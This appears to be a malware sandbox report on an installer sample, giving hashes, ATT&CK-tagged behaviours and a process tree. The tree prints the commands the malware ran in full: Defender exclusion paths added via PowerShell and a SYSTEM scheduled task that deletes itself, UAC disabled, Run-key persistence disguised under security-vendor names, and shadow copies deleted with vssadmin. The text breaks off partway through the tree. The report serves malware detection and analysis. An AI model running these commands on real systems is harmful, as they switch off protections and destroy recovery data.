b3db6dfe1e0b3f9d502a23edf3fd13dc5e9541a2b3a953cdbf3e71afce41e954

Analysis

max time kernel
151s
max time network
151s
platform
windows11-ltsc_2024_x64
resource
win11ltsc2024-20260911-en
resource tags

arch:x64arch:x86image:win11ltsc2024-20260911-enlocale:en-usos:windows11-ltsc_2024-x64systemwindows
submitted
22/10/2026, 08:27

Sharing

Copy URL Twitter E-mail

Report Analysis Logs

General

Target
install.2.0.10.exe
Size 34.6MB
Sample261022-kcpsvsdw5q
SHA256 b3db6dfe1e0b3f9d502a23edf3fd13dc5e9541a2b3a953cdbf3e71afce41e954
MD5 dacec1f1381203d9e6970d0187f8ca67
SHA1 72b013f4c564874097d49026663844177e724131
SHA512 22c40767383f367f09af4e7c074290c9fd4884afc78a5f04f95a35699f443f2b68909b87a75932a2ecad4faf3bcf04df3386498eae76a72ad95f505eff5228c4
SSDEEP 98304:g6ukQmHTpksa7ffG6slKxMzfM3nJ76KVfMYrvjgAE:bukQmH0HmKxofM3nl6UfMYrLgAE
TLSH
T1E2876F22B6428CD2F00285F45897BBA427FEFCB18AD1C71336E95B1E6FAE18C8D57055
MD5 SHA1 SHA512 SSDEEP TLSH

Score

10^/10

defense_evasion discovery execution persistence privilege_escalation trojan

Malware Config

Signatures

UAC bypass 3 TTPs 1 IoCs

defense_evasion trojan

Bypass User Account Control

T1548.002

Disable or Modify Tools

T1562.001

Modify Registry

T1112

description	ioc	Process
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\ConsentPromptBehaviorAdmin = "0"	RY1zV3.exe

Windows security bypass 2 TTPs 6 IoCs

defense_evasion trojan

Disable or Modify Tools

T1562.001

Modify Registry

T1112

description	ioc	Process
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\C:\Users\Public\PtBcQn = "0"	reg.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths	reg.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\C:\Program Files (x86) = "0"	reg.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths	reg.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\C:\Users = "0"	reg.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths	reg.exe

Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs

Run Powershell to modify Windows Defender settings to add exclusions for file extensions, paths, and processes.

execution

PowerShell

T1059.001

pid	Process
1380	powershell.exe

Drops file in Drivers directory 1 IoCs

description	ioc	Process
File opened for modification	C:\Windows\system32\drivers\etc\hosts	RY1zV3.exe

Modifies RDP port number used by Windows 1 TTPs

Remote Desktop Protocol
T1021.001

Checks BIOS information in registry 2 TTPs 1 IoCs

BIOS information is often read in order to detect sandboxing environments.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\SystemBiosVersion	RY1zV3.exe

Executes dropped EXE 7 IoCs

pid	Process
1676	FFXlqh.exe
2308	FFXlqh.exe
2840	RY1zV3.exe
912	RY1zV3.exe
5008	2O069.exe
2400	RY1zV3.exe
5900	2O069.exe

Loads dropped DLL 9 IoCs

pid	Process
1676	FFXlqh.exe
1676	FFXlqh.exe
2308	FFXlqh.exe
2308	FFXlqh.exe
2840	RY1zV3.exe
912	RY1zV3.exe
5008	2O069.exe
2400	RY1zV3.exe
5900	2O069.exe

Modifies file permissions 1 TTPs 15 IoCs

discovery

File and Directory Permissions Modification

T1222

pid	Process
4996	icacls.exe
4380	icacls.exe
1436	icacls.exe
2756	icacls.exe
2732	icacls.exe
5836	icacls.exe
3748	icacls.exe
5108	icacls.exe
1184	icacls.exe
1912	icacls.exe
4836	icacls.exe
4220	icacls.exe
4732	icacls.exe
1964	icacls.exe
3488	icacls.exe

Adds Run key to start application 2 TTPs 2 IoCs

persistence

Registry Run Keys / Startup Folder

T1547.001

Modify Registry

T1112

description	ioc	Process
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\Tencent SecurityHealth = "\"C:\\Users\\Public\\PtBcQn\\FFXlqh.exe\""	FFXlqh.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\Alibaba SecurityHealtha = "\"C:\\Program Files (x86)\\vyZAv7\\RY1zV3.exe\""	RY1zV3.exe

Indicator Removal: Clear Persistence 1 TTPs 5 IoCs

Clear artifacts associated with previously established persistence like scheduletasks on a host.

defense_evasion

Clear Persistence

T1070.009

pid	Process
1408	cmd.exe
5432	cmd.exe
4536	cmd.exe
5908	cmd.exe
3512	cmd.exe

Drops file in System32 directory 1 IoCs

description	ioc	Process
File created	C:\Windows\System32\CodeIntegrity\SiPolicy.p7b	FFXlqh.exe

Drops file in Program Files directory 18 IoCs

description	ioc	Process
File opened for modification	C:\Program Files (x86)\vyZAv7	FFXlqh.exe
File created	C:\Program Files (x86)\vyZAv7\RY1zV3.exe	FFXlqh.exe
File opened for modification	C:\Program Files (x86)\vyZAv7\XPSPLOG.dll	FFXlqh.exe
File created	C:\Program Files (x86)\E0il3uQiZ\image.png	RY1zV3.exe
File created	C:\Program Files (x86)\E0il3uQiZ\XPSPLOG.dll	RY1zV3.exe
File created	C:\Program Files (x86)\vyZAv7\XPSPLOG.dll	FFXlqh.exe
File opened for modification	C:\Program Files (x86)\E0il3uQiZ\image.png	RY1zV3.exe
File created	C:\Program Files (x86)\vyZAv7\image.png	FFXlqh.exe
File created	C:\Program Files (x86)\vyZAv7\thumbs.db	FFXlqh.exe
File opened for modification	C:\Program Files (x86)\vyZAv7\RY1zV3.exe	FFXlqh.exe
File opened for modification	C:\Program Files (x86)\vyZAv7\thumbs.db	FFXlqh.exe
File opened for modification	C:\Program Files (x86)\E0il3uQiZ\2O069.exe	RY1zV3.exe
File created	C:\Program Files (x86)\E0il3uQiZ\thumbs.db	RY1zV3.exe
File opened for modification	C:\Program Files (x86)\E0il3uQiZ\XPSPLOG.dll	RY1zV3.exe
File opened for modification	C:\Program Files (x86)\vyZAv7\image.png	FFXlqh.exe
File opened for modification	C:\Program Files (x86)\E0il3uQiZ	RY1zV3.exe
File created	C:\Program Files (x86)\E0il3uQiZ\2O069.exe	RY1zV3.exe
File opened for modification	C:\Program Files (x86)\E0il3uQiZ\thumbs.db	RY1zV3.exe

Enumerates video capture drivers 2 TTPs 1 IoCs

Queries the legacy Video for Windows capture drivers. This is commonly abused by RATs to check for available webcams on the system before reporting to their C2.

discovery defense_evasion

Peripheral Device Discovery

T1120

Video Capture

T1125

description	ioc	Process
Key value queried	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\Windows NT\CurrentVersion\Drivers32\msvideo9	RY1zV3.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Event Triggered Execution: Screensaver 1 TTPs 3 IoCs

Screensavers are programs that execute after a configurable time of user inactivity and consist of Portable Executable (PE) files with a .scr file extension.

persistence privilege_escalation

Screensaver

T1546.002

description	ioc	Process
Set value (str)	\REGISTRY\USER\S-1-5-21-4057491610-3392471755-192832105-1000\Control Panel\Desktop\ScreenSaveActive = "0"	RY1zV3.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-4057491610-3392471755-192832105-1000\Control Panel\Desktop\ScreenSaverIsSecure = "0"	RY1zV3.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-4057491610-3392471755-192832105-1000\Control Panel\Desktop\SCRNSAVE.EXE	RY1zV3.exe

Executes a command shell one-liner 1 TTPs 22 IoCs

Execution of a cmd.exe one-liner (/c "close" or /k "keep") is a common script/loader stage.

execution

Windows Command Shell

T1059.003

pid	Process
3048	cmd.exe
3828	cmd.exe
3888	cmd.exe
1944	cmd.exe
1612	cmd.exe
464	cmd.exe
4356	cmd.exe
5820	cmd.exe
4580	cmd.exe
4256	cmd.exe
5500	cmd.exe
4684	cmd.exe
1264	cmd.exe
4696	cmd.exe
2344	cmd.exe
2200	cmd.exe
3976	cmd.exe
3232	cmd.exe
2308	cmd.exe
6032	cmd.exe
1936	cmd.exe
5336	cmd.exe

Reads the TCP/IP host and domain name from the registry 1 TTPs 6 IoCs

The configured hostname and DNS domain identify the machine and are commonly collected to profile a host before it reports in.

discovery

System Network Configuration Discovery

T1016

description	ioc	Process
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\Tcpip\Parameters\Domain	FFXlqh.exe
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\Tcpip\Parameters\Hostname	RY1zV3.exe
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\Tcpip\Parameters\Domain	RY1zV3.exe
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\Tcpip\Parameters\Hostname	install.2.0.10.exe
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\Tcpip\Parameters\Domain	install.2.0.10.exe
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\Tcpip\Parameters\Hostname	FFXlqh.exe

System Location Discovery: System Language Discovery 1 TTPs 39 IoCs

Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

discovery

System Language Discovery

T1614.001

description	ioc	Process
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	icacls.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	icacls.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	icacls.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	icacls.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	icacls.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	icacls.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	icacls.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	icacls.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	RY1zV3.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	icacls.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	2O069.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	icacls.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	RY1zV3.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	icacls.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	icacls.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	2O069.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	RY1zV3.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	icacls.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	icacls.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	icacls.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe

Checks processor information in registry 2 TTPs 2 IoCs

Processor information is often read in order to detect sandboxing environments.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0	RY1zV3.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz	RY1zV3.exe

Modifies Control Panel 4 IoCs

defense_evasion

description	ioc	Process
Set value (str)	\REGISTRY\USER\S-1-5-21-4057491610-3392471755-192832105-1000\Control Panel\Desktop\ScreenSaveActive = "0"	RY1zV3.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-4057491610-3392471755-192832105-1000\Control Panel\Desktop\ScreenSaverIsSecure = "0"	RY1zV3.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-4057491610-3392471755-192832105-1000\Control Panel\Desktop\ScreenSaveTimeOut = "0"	RY1zV3.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-4057491610-3392471755-192832105-1000\Control Panel\Desktop\SCRNSAVE.EXE	RY1zV3.exe

Scheduled Task/Job: Scheduled Task 1 TTPs 5 IoCs

Schtasks is often used by malware for persistence or to perform post-infection execution.

persistence execution

Scheduled Task

T1053.005

pid	Process
1172	schtasks.exe
472	schtasks.exe
2120	schtasks.exe
5520	schtasks.exe
3880	schtasks.exe

Suspicious behavior: EnumeratesProcesses 64 IoCs

pid	Process
4200	install.2.0.10.exe
4200	install.2.0.10.exe
4200	install.2.0.10.exe
4200	install.2.0.10.exe
4200	install.2.0.10.exe
4200	install.2.0.10.exe
4200	install.2.0.10.exe
4200	install.2.0.10.exe
4200	install.2.0.10.exe
4200	install.2.0.10.exe
4200	install.2.0.10.exe
4200	install.2.0.10.exe
4200	install.2.0.10.exe
4200	install.2.0.10.exe
4200	install.2.0.10.exe
4200	install.2.0.10.exe
4200	install.2.0.10.exe
4200	install.2.0.10.exe
4200	install.2.0.10.exe
4200	install.2.0.10.exe
4200	install.2.0.10.exe
4200	install.2.0.10.exe
4200	install.2.0.10.exe
4200	install.2.0.10.exe
4200	install.2.0.10.exe
4200	install.2.0.10.exe
4200	install.2.0.10.exe
4200	install.2.0.10.exe
4200	install.2.0.10.exe
4200	install.2.0.10.exe
4200	install.2.0.10.exe
4200	install.2.0.10.exe
1676	FFXlqh.exe
1676	FFXlqh.exe
1676	FFXlqh.exe
1676	FFXlqh.exe
1676	FFXlqh.exe
1676	FFXlqh.exe
1676	FFXlqh.exe
1676	FFXlqh.exe
1676	FFXlqh.exe
1676	FFXlqh.exe
1676	FFXlqh.exe
1676	FFXlqh.exe
1676	FFXlqh.exe
1676	FFXlqh.exe
1676	FFXlqh.exe
1676	FFXlqh.exe
1676	FFXlqh.exe
1676	FFXlqh.exe
1676	FFXlqh.exe
1676	FFXlqh.exe
1676	FFXlqh.exe
1676	FFXlqh.exe
1676	FFXlqh.exe
1676	FFXlqh.exe
1676	FFXlqh.exe
1676	FFXlqh.exe
1676	FFXlqh.exe
1676	FFXlqh.exe
1676	FFXlqh.exe
1676	FFXlqh.exe
1676	FFXlqh.exe
1676	FFXlqh.exe

Suspicious behavior: LoadsDriver 8 IoCs

pid	Process
816	Process not Found
816	Process not Found
816	Process not Found
816	Process not Found
816	Process not Found
816	Process not Found
816	Process not Found
816	Process not Found

Suspicious use of AdjustPrivilegeToken 22 IoCs

description	pid	Process
Token: SeDebugPrivilege	1380	powershell.exe
Token: SeIncreaseQuotaPrivilege	1380	powershell.exe
Token: SeSecurityPrivilege	1380	powershell.exe
Token: SeTakeOwnershipPrivilege	1380	powershell.exe
Token: SeLoadDriverPrivilege	1380	powershell.exe
Token: SeSystemProfilePrivilege	1380	powershell.exe
Token: SeSystemtimePrivilege	1380	powershell.exe
Token: SeProfSingleProcessPrivilege	1380	powershell.exe
Token: SeIncBasePriorityPrivilege	1380	powershell.exe
Token: SeCreatePagefilePrivilege	1380	powershell.exe
Token: SeBackupPrivilege	1380	powershell.exe
Token: SeRestorePrivilege	1380	powershell.exe
Token: SeShutdownPrivilege	1380	powershell.exe
Token: SeDebugPrivilege	1380	powershell.exe
Token: SeSystemEnvironmentPrivilege	1380	powershell.exe
Token: SeRemoteShutdownPrivilege	1380	powershell.exe
Token: SeUndockPrivilege	1380	powershell.exe
Token: SeManageVolumePrivilege	1380	powershell.exe
Token: 33	1380	powershell.exe
Token: 34	1380	powershell.exe
Token: 35	1380	powershell.exe
Token: 36	1380	powershell.exe

Suspicious use of WriteProcessMemory 59 IoCs

description	pid	Process	procid_target
PID 1676 wrote to memory of 1380	1676	FFXlqh.exe	92
PID 1676 wrote to memory of 1408	1676	FFXlqh.exe	94
PID 1408 wrote to memory of 1172	1408	cmd.exe	97
PID 1408 wrote to memory of 5840	1408	cmd.exe	99
PID 1676 wrote to memory of 5432	1676	FFXlqh.exe	102
PID 1408 wrote to memory of 608	1408	cmd.exe	104
PID 1676 wrote to memory of 4536	1676	FFXlqh.exe	106
PID 5432 wrote to memory of 2120	5432	cmd.exe	108
PID 4536 wrote to memory of 472	4536	cmd.exe	109
PID 5432 wrote to memory of 3748	5432	cmd.exe	110
PID 1676 wrote to memory of 5908	1676	FFXlqh.exe	112
PID 4536 wrote to memory of 6040	4536	cmd.exe	114
PID 5432 wrote to memory of 3376	5432	cmd.exe	115
PID 4536 wrote to memory of 2756	4536	cmd.exe	116
PID 5908 wrote to memory of 5520	5908	cmd.exe	117
PID 5908 wrote to memory of 2444	5908	cmd.exe	120
PID 1676 wrote to memory of 3512	1676	FFXlqh.exe	122
PID 3512 wrote to memory of 3880	3512	cmd.exe	124
PID 5908 wrote to memory of 5204	5908	cmd.exe	125
PID 3512 wrote to memory of 2596	3512	cmd.exe	126
PID 3512 wrote to memory of 3016	3512	cmd.exe	127
PID 5336 wrote to memory of 5244	5336	cmd.exe	130
PID 5500 wrote to memory of 5952	5500	cmd.exe	131
PID 4256 wrote to memory of 5664	4256	cmd.exe	132
PID 1676 wrote to memory of 2840	1676	FFXlqh.exe	133
PID 2840 wrote to memory of 3048	2840	RY1zV3.exe	136
PID 2840 wrote to memory of 4684	2840	RY1zV3.exe	138
PID 2840 wrote to memory of 2344	2840	RY1zV3.exe	140
PID 2840 wrote to memory of 3828	2840	RY1zV3.exe	143
PID 2840 wrote to memory of 1264	2840	RY1zV3.exe	145
PID 4684 wrote to memory of 4836	4684	cmd.exe	147
PID 2840 wrote to memory of 464	2840	RY1zV3.exe	148
PID 464 wrote to memory of 1912	464	cmd.exe	150
PID 2840 wrote to memory of 3888	2840	RY1zV3.exe	151
PID 3888 wrote to memory of 3488	3888	cmd.exe	153
PID 2840 wrote to memory of 1612	2840	RY1zV3.exe	154
PID 1612 wrote to memory of 4996	1612	cmd.exe	156
PID 2840 wrote to memory of 1944	2840	RY1zV3.exe	157
PID 1944 wrote to memory of 4380	1944	cmd.exe	159
PID 2840 wrote to memory of 2308	2840	RY1zV3.exe	160
PID 2308 wrote to memory of 1184	2308	cmd.exe	162
PID 2840 wrote to memory of 3232	2840	RY1zV3.exe	163
PID 3232 wrote to memory of 1436	3232	cmd.exe	165
PID 2840 wrote to memory of 3976	2840	RY1zV3.exe	166
PID 3976 wrote to memory of 5108	3976	cmd.exe	168
PID 2840 wrote to memory of 4696	2840	RY1zV3.exe	169
PID 4696 wrote to memory of 3748	4696	cmd.exe	171
PID 2840 wrote to memory of 2200	2840	RY1zV3.exe	172
PID 2200 wrote to memory of 2756	2200	cmd.exe	174
PID 2840 wrote to memory of 4580	2840	RY1zV3.exe	175
PID 4580 wrote to memory of 4220	4580	cmd.exe	177
PID 2840 wrote to memory of 5820	2840	RY1zV3.exe	178
PID 5820 wrote to memory of 4732	5820	cmd.exe	180
PID 2840 wrote to memory of 1936	2840	RY1zV3.exe	181
PID 1936 wrote to memory of 5836	1936	cmd.exe	183
PID 2840 wrote to memory of 4356	2840	RY1zV3.exe	184
PID 4356 wrote to memory of 2732	4356	cmd.exe	186
PID 2840 wrote to memory of 6032	2840	RY1zV3.exe	187
PID 6032 wrote to memory of 1964	6032	cmd.exe	189

System policy modification 1 TTPs 1 IoCs

defense_evasion

Modify Registry

T1112

description	ioc	Process
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\ConsentPromptBehaviorAdmin = "0"	RY1zV3.exe

Uses Task Scheduler COM API 1 TTPs
The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.
persistence

Query Registry
T1012

C:\Users\Admin\AppData\Local\Temp\install.2.0.10.exe
"C:\Users\Admin\AppData\Local\Temp\install.2.0.10.exe"
1⤵
- Reads the TCP/IP host and domain name from the registry
- Suspicious behavior: EnumeratesProcesses
PID:4200

C:\Users\Public\PtBcQn\FFXlqh.exe
"C:\Users\Public\PtBcQn\FFXlqh.exe"
1⤵
- Executes dropped EXE
- Loads dropped DLL
- Adds Run key to start application
- Drops file in System32 directory
- Drops file in Program Files directory
- Reads the TCP/IP host and domain name from the registry
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of WriteProcessMemory
PID:1676
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath 'C:\ProgramData','C:\Users','C:\Program Files (x86)','C:\' -Force
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Suspicious use of AdjustPrivilegeToken
  PID:1380
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" cmd.exe /c SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\Users\Public\PtBcQn\" /t REG_DWORD /d 0 /f" & SCHTASKS /Run /TN "Task1" & SCHTASKS /Delete /TN "Task1" /F
  2⤵
  - Indicator Removal: Clear Persistence
  - Suspicious use of WriteProcessMemory
  PID:1408
- - C:\Windows\system32\schtasks.exe
    SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\Users\Public\PtBcQn\" /t REG_DWORD /d 0 /f"
    3⤵
    - Scheduled Task/Job: Scheduled Task
    PID:1172
- - C:\Windows\system32\schtasks.exe
    SCHTASKS /Run /TN "Task1"
    3⤵
    PID:5840
- - C:\Windows\system32\schtasks.exe
    SCHTASKS /Delete /TN "Task1" /F
    3⤵
    PID:608
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" cmd.exe /c SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\ProgramData\" /t REG_DWORD /d 0 /f" & SCHTASKS /Run /TN "Task1" & SCHTASKS /Delete /TN "Task1" /F
  2⤵
  - Indicator Removal: Clear Persistence
  - Suspicious use of WriteProcessMemory
  PID:5432
- - C:\Windows\system32\schtasks.exe
    SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\ProgramData\" /t REG_DWORD /d 0 /f"
    3⤵
    - Scheduled Task/Job: Scheduled Task
    PID:2120
- - C:\Windows\system32\schtasks.exe
    SCHTASKS /Run /TN "Task1"
    3⤵
    PID:3748
- - C:\Windows\system32\schtasks.exe
    SCHTASKS /Delete /TN "Task1" /F
    3⤵
    PID:3376
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" cmd.exe /c SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\Users\" /t REG_DWORD /d 0 /f" & SCHTASKS /Run /TN "Task1" & SCHTASKS /Delete /TN "Task1" /F
  2⤵
  - Indicator Removal: Clear Persistence
  - Suspicious use of WriteProcessMemory
  PID:4536
- - C:\Windows\system32\schtasks.exe
    SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\Users\" /t REG_DWORD /d 0 /f"
    3⤵
    - Scheduled Task/Job: Scheduled Task
    PID:472
- - C:\Windows\system32\schtasks.exe
    SCHTASKS /Run /TN "Task1"
    3⤵
    PID:6040
- - C:\Windows\system32\schtasks.exe
    SCHTASKS /Delete /TN "Task1" /F
    3⤵
    PID:2756
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" cmd.exe /c SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\Program Files (x86)\" /t REG_DWORD /d 0 /f" & SCHTASKS /Run /TN "Task1" & SCHTASKS /Delete /TN "Task1" /F
  2⤵
  - Indicator Removal: Clear Persistence
  - Suspicious use of WriteProcessMemory
  PID:5908
- - C:\Windows\system32\schtasks.exe
    SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\Program Files (x86)\" /t REG_DWORD /d 0 /f"
    3⤵
    - Scheduled Task/Job: Scheduled Task
    PID:5520
- - C:\Windows\system32\schtasks.exe
    SCHTASKS /Run /TN "Task1"
    3⤵
    PID:2444
- - C:\Windows\system32\schtasks.exe
    SCHTASKS /Delete /TN "Task1" /F
    3⤵
    PID:5204
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" cmd.exe /c SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"%USERPROFILE%\Documents\" /t REG_DWORD /d 0 /f" & SCHTASKS /Run /TN "Task1" & SCHTASKS /Delete /TN "Task1" /F
  2⤵
  - Indicator Removal: Clear Persistence
  - Suspicious use of WriteProcessMemory
  PID:3512
- - C:\Windows\system32\schtasks.exe
    SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\Users\Admin\Documents\" /t REG_DWORD /d 0 /f"
    3⤵
    - Scheduled Task/Job: Scheduled Task
    PID:3880
- - C:\Windows\system32\schtasks.exe
    SCHTASKS /Run /TN "Task1"
    3⤵
    PID:2596
- - C:\Windows\system32\schtasks.exe
    SCHTASKS /Delete /TN "Task1" /F
    3⤵
    PID:3016
- C:\Program Files (x86)\vyZAv7\RY1zV3.exe
  "C:\Program Files (x86)\vyZAv7\RY1zV3.exe"
  2⤵
  - UAC bypass
  - Drops file in Drivers directory
  - Checks BIOS information in registry
  - Executes dropped EXE
  - Loads dropped DLL
  - Adds Run key to start application
  - Drops file in Program Files directory
  - Enumerates video capture drivers
  - Event Triggered Execution: Screensaver
  - Reads the TCP/IP host and domain name from the registry
  - System Location Discovery: System Language Discovery
  - Checks processor information in registry
  - Modifies Control Panel
  - Suspicious use of WriteProcessMemory
  - System policy modification
  PID:2840
- - C:\Windows\SysWOW64\cmd.exe
    cmd.exe /c vssadmin delete shadows /all /quiet
    3⤵
    - Executes a command shell one-liner
    - System Location Discovery: System Language Discovery
    PID:3048
- - C:\Windows\SysWOW64\cmd.exe
    cmd.exe /c icacls "C:\Program Files (x86)\vyZAv7" /inheritance:r
    3⤵
    - Executes a command shell one-liner
    - System Location Discovery: System Language Discovery
    - Suspicious use of WriteProcessMemory
    PID:4684
  - - C:\Windows\SysWOW64\icacls.exe
